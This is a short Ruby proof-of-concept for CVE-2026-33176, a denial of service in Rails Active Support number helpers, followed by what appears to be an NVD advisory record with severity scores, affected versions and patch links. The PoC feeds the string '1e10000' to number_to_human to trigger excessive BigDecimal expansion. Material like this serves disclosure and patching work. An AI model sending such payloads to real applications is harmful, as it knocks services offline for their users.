CVE-2026-33176

# PoC for CVE-2026-33176: Active Support DoS via Scientific Notation require 'active_support/all' require 'active_support/core_ext/numeric/conversions' # Define a payload using scientific notation that expands massively payload = "1e10000" puts "Sending payload to number helper..." begin # This function triggers the vulnerability in affected versions # by causing BigDecimal to expand the string excessively. formatted = number_to_human(payload) puts "Formatted result: #{formatted}" rescue => e puts "Exception caught: #{e.message}" end

{"cve": {"id": "CVE-2026-33176", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:28.807", "lastModified": "2026-03-24T17:55:27.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active Support is a toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Support number helpers accept strings containing scientific notation (e.g. `1e10000`), which `BigDecimal` expands into extremely large decimal representations. This can cause excessive memory allocation and CPU consumption when the expanded number is formatted, possibly resulting in a DoS vulnerability. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch."}, {"lang": "es", "value": "Active Support es un conjunto de herramientas de bibliotecas de soporte y extensiones del núcleo de Ruby extraídas del framework de Rails. Antes de las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1, los ayudantes de números de Active Support aceptan cadenas que contienen notación científica (p. ej. '1e10000'), que `BigDecimal` expande en representaciones decimales extremadamente grandes. Esto puede causar una asignación excesiva de memoria y consumo de CPU cuando el número expandido es formateado, posiblemente resultando en una vulnerabilidad de DoS. Las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1 contienen un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.3.1", "matchCriteriaId": "D9DC6CB9-DC6C-4CBB-9806-3936ADBC8F1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4.1", "matchCriteriaId": "FA8791E1-8B96-43F6-A3EC-A7E60D700330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.1", "matchCriteriaId": "978E0135-D14B-41DE-87E4-CF059A23E189"}]}]}], "references": [{"url": "https://github.com/rails/rails/commit/19dbab51ca086a657bb86458042bc44314916bcb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/ebd6be18120d1136511eb516338e27af25ac0a1a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/ee2c59e730e5b8faed502cd2c573109df093f856", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/releases/tag/v7.2.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.0.4.1", "source": "sec ... (truncated)